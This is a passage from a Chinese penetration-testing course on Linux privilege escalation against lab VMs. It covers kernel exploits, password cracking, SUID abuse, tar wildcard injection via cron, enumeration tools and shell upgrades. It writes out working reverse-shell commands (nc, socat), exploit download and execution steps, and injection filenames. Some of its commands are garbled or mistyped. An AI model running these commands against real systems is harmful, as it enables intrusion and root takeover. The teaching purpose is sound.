目录
我们首先尝试一下 SUID 提权,在所有 www-data 用户有权访问的目录下搜索带 s 权限的可执行文件,使用到的命令如下:
根据之前学习的方法,使用 john 来破解。新打开一个终端,使用如下命令:
找到了/var/bin/php可执行文件,该文件是可以用来 SUID 提权的,方法如下:
创建 shell.sh,内容为使用 nc 反弹 shell 到本地 4444 端口:
创建成功后,可以看到 /var/www/html/ 文件夹下有这样几个文件:
首先使用 nc 命令开始监听本地 5911 端口,用于接收目标主机反弹回来的 shell,具体代码如下:
此时回到之前使用 nc 命令监听的终端,发现已经成功接收到目标主机的 shell:
不支持命令 tab 键自动补全功能,不支持「上下方向键」显示历史命令
3.9 Linux 提权之内核漏洞提权
实验介绍
- 本章实验主要介绍如何通过 Linux 自身的内核漏洞进行提权。并通过一个实验,演示从收集信息、查找漏洞、执行攻击、完成提权的全过程。
- 本章节中,我们不探讨 Linux 内核漏洞的原理,只教大家利用内核漏洞来提权的方法。
知识点
什么是 Linux 内核漏洞?
如何查询 Linux 发行版本、内核版本信息?
如何查找可利用的内核漏洞?
如何上传文件到靶机?
下载、编辑、执行 exp 的方法
实验开始
- 在学习内核漏洞提权之前,需要给大家强调一个关键点:
- Linux 内核漏洞可能会造成 Linux 系统崩溃、宕机,因此请优先尝试前面几章中讲解的提权方法,仅当前几种方法都无法成功提权时,才考虑使用内核漏洞来提权。
什么是 Linux 内核
- Linux 内核是 Linux 操作系统的主要组成部分,是计算机硬件与其进程之间的核心接口。它在两者之间进行交流,尽可能有效地管理资源。
- 内核之所以如此命名,是因为它就像硬壳里的一颗种子,存在于操作系统中,控制着硬件的所有主要功能,无论是手机、笔记本电脑、服务器还是其他任何类型的计算机。
什么是 Linux 内核漏洞
- Linux 内核是 Github 上的一个开源项目,拥有近百万次 commit,开发人员超过 5000 人,其中包括来自微软、谷歌、英特尔和红帽等科技巨头的人才。
- 既然开发人员如此之多,代码修改如此频繁,必然会有各种各样的 Linux 内核漏洞出现。多年来,Linux 内核已经成为了积累漏洞最多的开源项目之一。
- Linux 内核漏洞提权,就是通过利用 Linux 内核漏洞来执行具有高权限的任意代码,从而达到提权的目的。
- 使用内核漏洞提权一般包含以下三个步骤:
收集信息:确认目标主机 Linux 发行版本号、内核版本号
查找漏洞:根据发行版本号和内核版本号搜索可利用的内核漏洞
执行攻击:下载漏洞利用 EXP、编译 exp、执行 exp
- 下面我们通过一个实验,来给大家详细的讲解这三个步骤的具体方法。
- 本章实验我们需要使用到 Metasploitable2 虚拟靶机,使用如下命令开启靶机:
sudo virsh start Metasploitable2
- Metasploitable2 靶机的信息如下:
IP:
192.168.122.102
用户名:
msfadmin
密码:
msfadmin
- Metasploitable2 是 kvm 搭建的靶机,所以启动会比较慢。稍微等待 1~2 分钟,直到可以 ping 通
192.168.122.102
为止:
- 使用 ssh 连接到靶机,密码是 msfadmin,命令如下:
ssh msfadmin@192.168.122.102
- 如上图所示,成功登录
Metasploitable2
,权限是普通用户msfadmin
——用于模拟渗透测试获取到的初始 shell。- 接下里我们将演示,从收集主机信息,到查找内核漏洞,再到下载、编译、利用漏洞 exp 提权到 root 权限的全过程。
收集信息
- 一般需要关注 Linux 的发行版本、内核版本,分别使用以下两个命令进行查询:
lsb_release -a
- 可以知道靶机运行的是 Ubuntu 发行版本,版本号为 8.04。
- 某些发行版本的 Linux 不支持
lsb_release
命令,可以使用 如下命令来查询:uname -r
- 从上图可知,靶机的内核版本为
2.6.24
。查找漏洞
- 我们已经知道了靶机的发行版本和内核版本,接下来需要使用这两个数据去查询可能存在的内核漏洞。查询方法常用的有如下几种:
searchsploit
命令行工具(仅在 Kali Linux 上)
Exploit-db.com
Google 搜索引擎
[Exploit-db.com](http://exploit-db.com)
和searchsploit
都是同一个数据库,我们这里演示[Exploit-db.com](http://exploit-db.com)
的查询方法。- 打开网址:选择左上角的
EXPLOITS
:
- 先在右上角的 Search 输入关键词,因为是内核漏洞提权,所以先输入
privilege
和kernel
。- 然后再键入内核版本 2.6 (一般先搜索大版本即可,搜索小版本可能导致搜索结果有遗漏)和 Linux 发行版本 ubuntu。最后的搜索关键字组合是:
privilege kernel 2.6 ubuntu
- 然后点击右上角的
Filter
,在高级搜索中,Type 选择local
、Platform 选择Linux
:
- 如上图所示,共得到 10 条结果,一般我们先尝试经过验证的 exp —— 即左边有绿色小勾的。
- 如果是
searchsploit
命令行工具,使用如下命令可以查询到相同的结果,你可以在 Kali Linux 中尝试一下:searchsploit privilege | grep -i linux| grep -i kernel | grep -i 2.6 | grep -i ubuntu
执行攻击
- 注意:并不是每一条漏洞都可以提权成功的,通常情况下,我们会逐一尝试利用。
- 这里为了节约大家时间,我们直接选取一条可以提权成功的来做演示:
- 接下来需要下载 exp,因为大多数情况下靶机是没有连接外网的权限的,所以都是下载到攻击机(例如 Kali Linux),然后再搭建 HTTP 服务上传到靶机。
- 右键下载按钮,复制下载链接地址:
- 在靶机上使用
wget
工具下载并存储到/tmp/exploit.c
,命令如下(主机是在shiyanlou
用户 终端,不要在 Metasploitable2 的 ssh 终端中下载):wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c
- 接下来进入
/tmp
目录,使用 Python3 快速搭建 HTTP 服务,端口为 8000:cd /tmp python3 -m http.server 8000
- 使用
ip addr
命令查询到主机 IP 地址为192.168.122.1
:
- 在 Metasploitable2 终端中使用 wget 工具下载
exploit.c
并保存到/tmp
:wget 192.168.122.1:8000/exploit.c -P /tmp
- 接下来就需要编译
exploit.c
,需要使用到gcc
工具,命令如下:gcc exploit -o exploit
/tmp
目录下会生成一个名为 exploit 的可执行文件:
- 尝试执行
./exploit
,弹出如下提示:
- 说明我们需要回去看一下 exp 的使用方法:
- 阅读以上说明,使用方法如下:
执行
./exploit PID
需要指定/proc/net/netlink
进程的 PID 号执行成功后,会自动以 root 权限执行
/tmp/run
脚本,脚本内容需要我们自己创建,payload 我们可以任意发挥。- 按照以上说明,先查看
/proc/net/netlink
进程 ID:cat /etc/net/netlink
- 获取到 pid 为 2410,接下来我们创建
/tmp/run
shell 脚本:echo '#!/bin/bash' >> /tmp/run echo 'nc 192.168.122.1 4444 -e /bin/bash' >> /tmp/run chmod +x /tmp/run
/tmp/run
脚本的内容如下:#!/bin/bash nc 192.168.122.1 4444 -e /bin/bash
- 这样,当该脚本被执行时,就会向
192.168.122.1
的 4444 端口反弹 shell,所以我们现在本地主机上使用 nc 监听 4444 端口:nc -nlvp 4444
- 一切准备就绪,在靶机上执行如下命令:
./exploit 2410
- 上图所示,成功反弹回 shell。
实验总结
- 在本节实验中,我们了解了什么是 Linux 内核、什么是 Linux 内核漏洞,并通过一个具体的实验,理解了收集信息、查找漏洞、执行攻击、完成提权的全过程。通常来说,并非每次都能迅速找到可利用成功的漏洞 exp,如果攻击不成功可以尝试下面两种方法:
更换相同 CVE 漏洞的不同 exp
更换不同的 CVE 漏洞
- 总结一句话:内核漏洞提权一定要有耐心~
- 祝你在接下来的技巧课程中学习愉快,学有所获~
3.10 Linux 提权之跳板用提权
实验介绍
- 本章实验主要介绍当我们不能直接提权至 root 权限时,如何通过先提权到其他普通用户,再通过该用户提权到 root 用户的方法。
知识点
什么是跳板用户?
什么情况下需要使用跳板用户?
如何通过跳板用户提权?
实验开始
- 前面几章为大家介绍了几种直接提权到 root 权限的方法,但有时候会遇到尝试了所有的方法,也无法直接提权到 root 权限,此时可以考虑先提权到其他用户,再通过其他用户的权限提权到 root 权限,而这个中间用户就被我称为——跳板用户。
- 在本章实验中,我们会先从 www-data 提权到跳板用户 alice ,再从 alice 提权到 root 权限。
首先执行如下命令以初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_100_switchuser.sh > ~/init_100_switchuser.sh;chmod +x ~/init_100_switchuser.sh;sudo ./init_100_switchuser.sh
- 如上图所示,实验环境初始化完成,此时我们切换到了
www-data
用户——用于模拟通过 Web 漏洞反弹回的初始 shell。我们首先尝试一下 SUID 提权,在所有 www-data 用户有权访问的目录下搜索带 s 权限的可执行文件,使用到的命令如下:
find / -user root -perm -4000 -print 2>/dev/null
- 搜索结果如下图所示:
- 经过分析发现没有可用于 SUID 提权的可执行文件。
查看一下 home 目录下有哪些文件夹:
ls -alh /home
- 发现
/home
目录下有一个 alice 目录,推测有一个 alice 用户:因为本文件中只有它没有RWX权限,并且是可以登录系统的,可以通过查看/etc/passwd
文件验证。- 但是 www-data 没有权限访问
alice
目录,所以我们需要先试试能够提权到 alice 用户。
- 经过一番尝试,我们发现
/etc/passwd
文件中有 alice 用户的密码 hash:cat /etc/passwd
根据之前学习的方法,使用 john 来破解。新打开一个终端,使用如下命令:
john /etc/passwd
- 破解得到密码为
beautiful
,使用su
命令登录 alice 用户:
- 现在我们成功从 www-data 用户提权到了 alice 用户,再尝试一次 SUID 提权:
find / -user root -perm -4000 -print 2>dev/null
找到了
/var/bin/php
可执行文件,该文件是可以用来 SUID 提权的,方法如下:/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"
- 如上图所示,我们成功提权到 root 权限。
- 关于哪些可执行文件可以用来 SUID 提权,可以通过以下链接进行查询:https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary
- 大家思考一下:为什么
alice
用户能够查找到具有 s 权限的 php 可执行文件,而www-data
用户找不到呢?- 其实答案就是目录权限的区别,让我们查看一下
/var/bin
目录权限:ls -lh /var
- 可以看到,
/var/bin
目录的所有者和所有组均为 alice,其他用户并没有读/写/执行
权限。- 所以当我们提权到其他用户时,有时就能解锁一些之前无法访问的文件或目录,而这恰好就可能被利用来进行提权。
实验总结
- 在本节实验中,我们学习了当不能直接提权至 root 权限时,如何通过先提权到其他普通用户,再通过该用户提权到 root 用户的方法。
- 本章实验中我们只是选了一个简单例子作为抛砖引玉,实战中的情况可能会更复杂,不过请记住:核心永远是围绕在不同用户的权限差异上。
- 祝你在接下来的技巧课程中学习愉快,学有所获~
3.11 Linux 提权之通配符注入提权
实验介绍
- 本实验主要介绍什么是通配符注入,并介绍 Linux 系统上最常见的 tar 通配符注入的原理,最后通过实验帮助你理解并掌握,在实战中如何通过 crontab 配合 tar 命令进行 Linux 提权。
知识点
通配符注入原理介绍
tar 通配符注入示例
crontab 搭配 tar 提权实验
实验开始
什么是通配符
- 对 Linux 有一定了解的同学应该会知道通配符,通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。
- 下面是一些常见的通配符:
*
星号可以与文件名中的任意数量的字符匹配,包括 0 个字符。
?
问号用于匹配任意单个字符。
[]
括号内包括一组字符,其中任何一个字符都可以匹配该位置上的单个字符。~ 单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名,则表示该用户的主目录。
- 其中,在实际的 Linux 提权中,我们使用到比较多的是
*
和-
,首先通过一个示例了解一下 Linux shell 对-
字符会怎么处理的。先运行如下命令初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_introduction.sh > ~/init_Wildcard_introduction.sh;chmod +x ~/init_Wildcard_introduction.sh;sudo ./init_Wildcard_introduction.sh
- 初始化完成之后,可以看到当前目录下有一个文件名为
—-help
的文件,大家先思考并尝试一下,你要如何查看他的内容呢?
- 如果你使用
cat —-help
命令查看,会有如下提示:
- 类似的,如果你使用
vim —-help
查看也是一样的:
- 这是因为在 Linux shell 中,
-
会被解释为命令参数,如果你要查看-—help
文件的内容,就需要避免以-
为文件名的开头,例如你可以使用:cat ~/--help
- 这样就可以避免 shell 将
—-help
解释为参数,而通配符注入正好就是利用的 shell 这一特点。- 通配符注入通常会和 cron job 结合使用,下面我们通过实战来理解 tar 命令的通配符注入。
Crontab Tar 通配符注入
- 通配符注入经常会和 Crontab 一起使用,下面我们通过一个实验来理解经典的
tar
通配符注入提权。- 首先执行如下命令以初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_Injection.sh > ~/init_Wildcard_Injection.sh;chmod +x ~/init_Wildcard_Injection.sh;sudo ./init_Wildcard_Injection.sh
- 如上图所示,实验环境初始化完成后,我们切换到了 tomcat-syl 用户(用于模拟攻击者获取的初始 shell),接下来需要通过利用 tar 通配符注入漏洞提权到 root 权限。
首先使用如下命令查看
crontab
中有哪些定时任务:cat /etc/crontab
- 可以看到上图红框中,管理员配置了这样一条定时任务:每分钟执行一次,将
/var/www/html/
文件夹中的所有内容打包到/var/backups/html.tgz
进行备份。- 接下来我们查看
/var/www/html
目录下有哪些文件:
- 想利用 tar 进行通配符注入,我们需要在
/var/www/html/
文件夹下创建以下 3 个文件:创建
shell.sh
,内容为使用nc
反弹 shell 到本地 4444 端口:cd /var/www/html echo 'nc 127.0.0.1 4444 -e /bin/bash ' > shell.sh
- 创建名为
--checkpoint-action=exec=sh shell.sh
的文件,因为文件名中有空格,所以需要使用引号报告:echo "" > "--checkpoint-action=exec=sh shell.sh" #- `—-checkpoint`和`—-chekpoint-action`参数通常一起使用,前者为设置检查点,后者为到达检查点时要执行的操作。 #- `--checkpoint-action=exec=sh shell.sh` 则表示达到检查点时执行 shell.sh 脚本文件。
- 最后创建一个名为
--checkpoint=1
的文件:echo "" > --checkpoint=1
创建成功后,可以看到
/var/www/html/
文件夹下有这样几个文件:
- 也就是说,每当定时任务被执行时,tar 都会调用
shell.sh
脚本并执行,而 shell.sh 脚本会将/bin/bash
反弹到 127.0.0.1 的 4444 端口。- 我们在当前 shell 中使用 nc 监听本地 4444 端口,命令如下:
nc -lnvp 4444
- 稍微等待一会,当定时任务被执行时,我们就可以接收到被反弹回来的 shell,并且是 root 权限:
- 至此,我们成功提权到 root 用户。
- 不过关于
tar
+crontab
提权存在两个限制条件,这里也给各位同学详细说明:
- 限制一:打包目录 html 需要「其他用户」拥有写(w)权限
- 因为必须要有写入权限,我们才能在该目录创建
shell.sh
和其他两个文件:
- 限制二:crontab 中的 tar 命令必须不包含绝对路径
- 例如下面这种命令,通配符注入就会失败:
* * * * * root tar -zcf /var/backups/html.tgz **/var/www/html/***
原因是当包含绝对路径时,通配符注入实际上执行的命令变成了:tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html
- 这种情况下
/var/www/html/--checkpoint=1
和/var/www/html/--checkpoint-action=exec=sh shell.sh
就不会被 shell 解释为 tar 命令参数,所以无法注入成功。实验总结
- 在本节实验中,我们学习了什么是通配符注入,并介绍 Linux 系统上最常见的 tar 通配符注入的原理,最后通过实验在实战中通过 crontab 配合 tar 命令将 Linux shell 成功提权到 root 权限。
- 祝你在接下来的技巧课程中学习愉快,学有所获~
3.12 Linux 提权之自动化辅助工具
实验介绍
- 本章实验主要介绍两个最常用的 Linux 提权自动化辅助工具——
LinEnum
和linux-exploit-suggester
,合理的使用自动化脚本,能大大节约我们的时间。知识点
LinEnum 辅助工具的使用
linux-exploit-suggester 辅助工具的使用
实验开始
- 在前面章节中,我们已经学习了多种 Linux 提权
sudo virsh start Metasploitable2
- 的方法,这些提权方法已经覆盖了实战中的绝大部分场景。
- 如果你正在为了备考 OSCP 认证而努力,那么恭喜你,只要你把前面几种方法都理解并掌握,考试中关于 Linux 提权这部分是绝对可以得心应手的。
- 除此之外,还有一些 Linux 辅助工具可供使用,这些辅助工具通常是 shell 脚本。需要明确的是,这些辅助工具不会尝试漏洞利用,仅仅只是帮助我们快速枚举系统信息,使用它们的目的是节省时间,所以你必须先理解提权的方法和原理。
- Github 上有很多相关的开源项目,在本章节实验中我会推荐两个比较有代表性的:
- 和内核漏洞提权那章相同,本章实验我们也需要使用到 Metasploitable2 虚拟靶机,使用如下命令开启靶机:
sudo virsh start Metasploitable2
- Metasploitable2 靶机的信息如下:
IP:
192.168.122.102
用户名:
msfadmin
密码:
msfadmin
- Metasploitable2 是 kvm 搭建的靶机,所以启动会比较慢。稍微等待 1~2 分钟,直到可以 ping 通
192.168.122.102
为止:
- 使用 ssh 连接到靶机,密码是 msfadmin,命令如下:
ssh msfadmin@192.168.122.102
- 如上图所示,成功登录
Metasploitable2
,权限是普通用户msfadmin
——用于模拟渗透测试获取到的初始 shell。- 如上图所示,成功登录
Metasploitable2
,权限是普通用户msfadmin
——用于模拟渗透测试获取到的初始 shell。LinEnum 工具
LinEnum 介绍
- LinEnum 是一个 Linux 主机本地信息枚举的 shell 脚本,它有超过 65 项安全检查功能,比如查询版本信息、内核信息、SUID/GUID 文件、文件权限、sudo 权限等,其执行的检查项摘要如下:
内核和发行版本的详细信息
系统信息、主机名、网络信息
用户信息、用户列表、用户组
敏感目录、文件的访问权限
环境变量配置详情
CronJobs 配置详情
运行服务、服务权限
部分应用的版本信息
- 更为详细的检查项说明,可以查阅项目的文档。
使用方法
- 因为大多数情况下靶机是没有连接外网的权限的,所以都是先下载到攻击机(例如 Kali Linux),然后再搭建 HTTP 服务上传到靶机。
- 在云主机上使用
wget
工具下载并存储到/tmp/LinEnum.sh
,命令如下(不要在 Metasploitable2 的 ssh 终端中下载,会报 SSL 错误):# 如果遇到拒绝连接错误,多尝试几次即可 wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
- 接下来进入
/tmp
目录,使用 Python3 快速搭建 HTTP 服务,端口为 8000:cd /tmp python3 -m http.server 8000
- 使用
ip addr
命令查询到主机 IP 地址为192.168.122.1
:
- 在 Metasploitable2 终端中使用 wget 工具下载
LinEnum.sh
并保存到/tmp
:wget 192.168.122.1:8000/LinEnum.sh -P /tmp #-P参数用于指定下载文件的保存路径
- 赋予
LinEnum.sh
执行权限:chmod +x LinEnum.sh
- 接下来就可以执行
LinEnum.sh
进行检查,由于LinEnum.sh
执行速度非常快,所以可以搭配more
命令便于阅读,使用空格进行翻页:./LinEnum.sh |more
- 自动快速收集系统信息,便于我们阅读分析,重点关注黄色字体的信息。
发现具有
/root
目录的访问权限:
发现软件版本及弱口令:
- 如上图所示,发现 MySQL 的 root 用户无需密码即可登录,测试一下发现登陆成功:
发现
htpasswd
文件:
发现可利用的 SUID 文件
nmap
:
- 尝试利用 nmap 提权,并且提权成功:
发现可查看 root 用户的
.bash_history
文件:
- 有没有觉得很方便?合理的利用
LinEnum.sh
脚本,可以为我们节约大量的时间。
linux-exploit-suggester 工具
linux-exploit-suggester 介绍
linux-exploit-suggester
是一款根据系统发行版本号和内核版本号自动查找相应内核提权漏洞的工具。LinEnum
功能已经非常强大,但它缺少对内核漏洞的检查,而linux-exploit-suggester
刚好能弥补这一点。项目地址
- https://github.com/mzet-/linux-exploit-suggester
https://github.com/mzet-/linux-exploit-suggester
使用方法
- 和之前一样,下载
linux-exploit-suggester.sh
到云主机:wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh #-O参数用于指定下载文件的保存路径和文件名。在你提供的命令中,-O参数后面跟着/tmp/linux-exploit-suggester.sh,这意味着下载的文件将保存在/tmp目录下,并且文件名为linux-exploit-suggester.sh。如果省略-O参数,wget命令将会使用默认的文件名。
- 并上传到靶机
Metasploitable2
:wget 192.168.122.1:8000/linux-exploit-suggester.sh -P /tmp
- 添加执行权限并执行脚本:
chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh
- 不幸的是,提示 bash 版本过低不支持运行该脚本:
- 大多数时候是可以直接运行的,但是如果偶尔遇到这种情况,可以采用手动录入内核信息的方式。
- 在 Metasploitable2 上运行
uname -a
查询主机信息,并将输出结果复制下来:
- 然后回到云主机上运行
./linux-exploit-suggester.sh
脚本:
-u
: 指定uname -a
获取的信息
--kernelspace-only
: 仅显示内核漏洞
./linux-exploit-suggester.sh -u "Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux"
- 下图是我们得到的分析结果:
- 每一条漏洞都包含 Exposure (影响概率)和 Download URL( EXP 下载链接),其中 Exposure 分级如下:
Highly probable
- 被评估的内核很有可能受到影响,而且很有可能 PoC 漏洞不需要任何重大修改就能正常运行。
Probable
- 有可能会成功,但很有可能需要定制 EXP 漏洞来适应你的目标。
Less probable
- 需要额外的手动分析来验证内核是否受到影响。
Unprobable
- 内核受影响的可能性极低。- 一般只用尝试
Highly probable
和robable
定级的EXP
即可。- 但需要注意的是,
linux-exploit-suggester
的结果并不一定非常准确,如果结果中的 CVE 均无法利用,你仍然需要手动去搜索内核漏洞再来尝试。实验总结
- 在本节实验中,我们学习了 LinEnum 和 linux-exploit-suggester 提权辅助脚本工具的使用方法,其实辅助工具还有很多,例如以下两个:
- 如果你有兴趣,可以下载尝试一下,不过工具永远只能起到辅助作用,最重要的还是理解提权的方法和思想。
- 祝你在接下来的技巧课程中学习愉快,学有所获~
3.13 简单 shell 升级交互式 shell
实验介绍
- 本章节实验主要介绍什么是「简单 shell」和「交互式 shell」,「简单 shell」在渗透测试过程中会带来哪些不便之处,以及如何将「简单 shell」 升级为「交互式 shell」。
知识点
「简单 shell」的定义
「交互式 shell」的定义
「简单 shell」的不便之处
「简单 shell」升级为「交互式 shell」的方法
简单 shell
- 下面我们通过一个实验来理解什么是简单 shell。
- 首先需要初始化实验环境,打开终端并执行如下命令:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_20_ttyshell.sh > ~/init_20_ttyshell.sh;chmod +x ~/init_20_ttyshell.sh;sudo ./init_20_ttyshell.sh
- 输出如上图所示,说明环境部署成功。
- 此时使用
ls
命令查看主目录,会发现新增了exploit.sh
文件:nc -nlbp 5911
exploit.sh
是漏洞攻击的exp
, 此处我们用来模拟远程命令执行漏洞(RCE),在目标主机上执行系统命令, 并将目标主机上的/bin/bash
反弹到本地 5911 端口。- 接下来我们模拟渗透测试中 getshell 的过程:
首先使用
nc
命令开始监听本地5911
端口,用于接收目标主机反弹回来的 shell,具体代码如下:nc -nlvp 5911
- 接着打开一个新的终端界面,并执行
./exploit.sh
脚本文件:打开新的终端的方法:屏幕左下角>应用程序菜单>终端模拟器。
此时回到之前使用
nc
命令监听的终端,发现已经成功接收到目标主机的 shell:
- 尝试执行
whoami
命令查看当前用户信息:
- 可以看到命令执行成功,当前用户是
shiyanlou
。- 由于是简单 shell,所以命令提示符前不会显示如
shiyanlou:~/$
这样的前缀。- 再使用
lsb_release -a
命令查看系统信息:
- 如上图所示,命令也执行成功,目标主机系统是
ubuntu 16.04.6
。- 至此,我们已经模拟了黑客 getshell 这一过程,并成功获取到了目标主机的 shell,但此 shell 不具有交互性我称之为「简单 shell」,具体有哪些不方便的地方待下面细说。
「简单 shell」的缺陷
- 简单来说,「简单 shell」不支持用户
交互式输入
。- 支持交互式输入的 shell 有两种:
第一种:tty ,又称为终端,linux 自带的命令行就是 tty,我们可以在 vmare 虚拟机里使用 tty 命令查看,回显会提示我们是 tty。
第二种:pst,又称为伪终端,包括使用 ssh 或 telnet 远程连接获取的 shell 都是 pts 伪终端,我们在 ssh 中使用 tty 查看一下,回显会提示我们是 pts。
- 升级交互式 shell 的方法我们后面会讲。
- 在实验环境原生终端中执行
tty
命令,结果如下:
- 上图输出结果说明当前终端连接标准输入设备的名称是
/dev/pts/6
,说明这是一个pts
,因为这是一个容器分配的伪终端。- 在「简单 shell」中执行
tty
命令,结果如下:
- 输出如上图所示,说明「简单 shell」不是 tty 也不是 pts。
- 「简单 shell」不方便的地方体现在下面几个方面:
不支持
su
、ssh
等需要交互的命令。命令执行错误时的“
标准错误信息(STDERR)
”不会被打印出来。不能完整支持 vim/vi 编辑器。
不支持命令 tab 键自动补全功能,不支持「上下方向键」显示历史命令。
- 下面我们逐个试验一下。
不支持
su
、ssh
等需要交互的命令- 假设我们已经通过信息收集成功获取到了 root 用户密码,但是目标主机并没有开启 ssh 服务或者 ssh 端口被防火墙限制,所以我们无法利用 root 账户从本地 ssh 远程登录目标主机 ,这时候我们应该怎么获取 root 权限呢?
- 我们可以先通过漏洞获取一个低权限 shell,然后使用
su root
切换到 root 用户就可以了对吧? 于是在 shell 中输入命令:sudo root
- 你会发现「简单 shell」直接阻塞卡死了,此时输入其他命令也不会有回显。
- 原因是由于
su
命令需要用户交互式的输入密码,远端 shell 为接受用户输入密码而处于阻塞状态,因此无法正常执行 su 命令以及其他需要用户交互的命令,如 ssh 也同样无法正常执行。- 命令执行错误时的“
标准错误信息(STDERR)
”不会被打印出来- 我们使用
ctrl+c
终止阻塞的 shell,重复之前的步骤重新反弹一个 shell 回来。- 在简单 shell 中执行如下命令:
cat ss.txt
- 但是没有任何回显,我们无法判断命令是否执行成功。 在正常的终端中执行
cat ss.txt
命令,会有如下提示:
- 根据回显信息,我们就能够知道命令执行失败的原因并做针对性的调整,这一点在后续提权操作时会非常重要。
不能完整支持 vim/vi 编辑器
- 假如我们想在目标主机系统上使用 vim 命令创建文件:
vim tun.txt
- 如上图所示,「简单 shell」不能很好的支持 vim 的操作方式,会出现字符转义出错的情况。
不支持命令 tab 键自动补全功能,不支持「上下方向键」显示历史命令
- 在「简单 shell」 中使用「上下方向键」展示历史命令:
- 你会发现并不能如愿所偿,「上下方向键」被强制转换为了
^[[A
、^[[B
等字符。- 正是由于「简单 shell」的各种缺陷,在渗透测试后期提权、内网渗透时都会带来很多困扰,所以接下来我们需要先将「简单 shell」升级为支持交互式的「交互式 shell」。
简单 shell 升级为交互式 shell
- 下面我们介绍几种升级交互式 shell 的方法。
第一种 通过 Python 创建「伪终端」升级(pts)
- Python 内置的
pty
模块可以用来创建一个伪终端(pts),其官方文档描述如下:
- 想了解详情的同学点我查看官方文档。
- 首先需要确认目标主机支持 Python 环境,使用命令
which python
和which python3
查看目标主机是否支持python2/python3
环境:
- 幸运的是如上图所示,目标主机支持 Python2 和 Python3 。
- 使用 python 的 pty 模块创建一个伪终端,命令如下:
python -c 'import pty;pty.spawn("/bin/bash");'
- 如上图所示,我们成功获得了一个伪终端(pts),光标前的
shiyanlou@iZbp1hie9kxx
让它看起来更像一个普通的终端,可以执行 tty 命令确认。- 实际上这段命令等同于创建了一个 python 脚本,然后执行了该脚本,脚本内容如下:
import pty pty.spawn("/bin/bash")
- 我们打开一个新终端,使用命令
sudo vim p.py
创建一个p.py
脚本文件,输入上面这段内容:
- 然后输入命令
python p.py
运行这个脚本,可以达到同样的目的——创建一个伪终端.- 在 Python 「伪终端」中重新尝试使用
su root
切换为 root 用户:
- 可以看到此伪终端(pts)支持交互式的密码输入,如果拥有 root 密码就能切换为 root 用户。其他诸如
ssh
等交互式命令也同样支持。- 再执行命令
cat ss.txt
,这次成功回显了错误信息:
- 我们总结一下,Python 创建的伪终端(pts)解决了以下问题:
支持命令交互式输入
支持打印命令执行错误时的“
标准错误信息(STDERR)
”- 和 Python 类似,还可以通过 Perl、Ruby、Lua 等来获取 pts 终端,方法可以通过该地址查询:
- 但是 Python 和其他脚本语言创建的伪终端(pts)仍然存在一些问题:
不支持 tab 自行不全、使用「上下方向键」显示历史命令:
不支持 vim/vi 编辑文件
- 我们下面为大家介绍一种更强大的升级方法——socat。
第二种 使用 socat 进行升级(tty)
- 接下来我们介绍另一种更强大的升级方法:
socat
。- 首先使用命令
which socat
查看目标主机是否支持socat
命令:
- 如上图所示,目标主机支持 socat 工具。
- 然后新建一个终端,使用如下命令在本地监听 5912 端口:
socat file:`tty`,raw,echo=0 tcp-listen:5912 #file:: 这部分指定了 socat 将会打开的文件。在这里,file: 表示 socat 将会打开一个文件描述符。 #tty,raw,echo=0: 这是 socat 将会打开的文件描述符的设置。``tty`` 表示 socat 将会使用当前终端 (tty) 作为文件描述符。 raw设置使 socat 不做数据处理,而echo=0` 设置禁用了回显(即输入的字符不会在终端上显示)。 #tcp-listen:5912: 这个部分指定了 socat 将会监听的端口号。在这个例子中,socat 将会监听 5912 端口的 TCP 连接。
- 然后在「简单 shell」 中执行如下命令,反弹一个完整的 tty shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912 #exec:'bash -li': 这部分指定了 socat 将会执行的命令。在这里,它执行了一个 Bash #shell,并加上了 -l 和 -i 选项,这使得 Bash shell 被启动后,会作为登录 shell,并读取配置文件(例如 .bashrc)。 #pty: 这个选项表示创建一个伪终端(pseudo-terminal),这样在连接中可以进行交互式的输入输出。 #stderr: 这个选项表示将连接中的错误信息输出到标准错误(stderr)。 #setsid: 这个选项表示创建一个新的进程组,并将该进程设为新的会话组长,这样可以避免信号(如 SIGHUP)被发送到该进程。 #sigint: 这个选项表示 socat 会在接收到终端中断信号(Ctrl+C)时,发送一个中断信号给被执行的程序。 #sane: 这个选项表示 socat 将启用 sane 模式,以便更好地处理终端输入输出。 #tcp:127.0.0.1:5912: 这部分指定了 socat 将会连接的目标。在这个例子中,socat 将连接到本地主机(127.0.0.1)的 5912 端口上的 TCP 服务。
socat
反弹回的 shell 支持历史命令、tab 补全、ctrl-c 等功能:- 这种方式反弹回的 shell 最为完整,但需要目标主机支持
socat
工具。实验总结
- 在本节实验中,我们学习了什么是「简单 shell」,什么是「交互式 shell」,并通过实验对如何从「简单 shell」升级为「交互式 shell」有了深入的理解。
- 需要注意的是:简单 shell 升级为交互式 shell 后,用户权限不会发生变化,这只是为之后提权做准备,从下一章开始我们将介绍提权的各种技巧。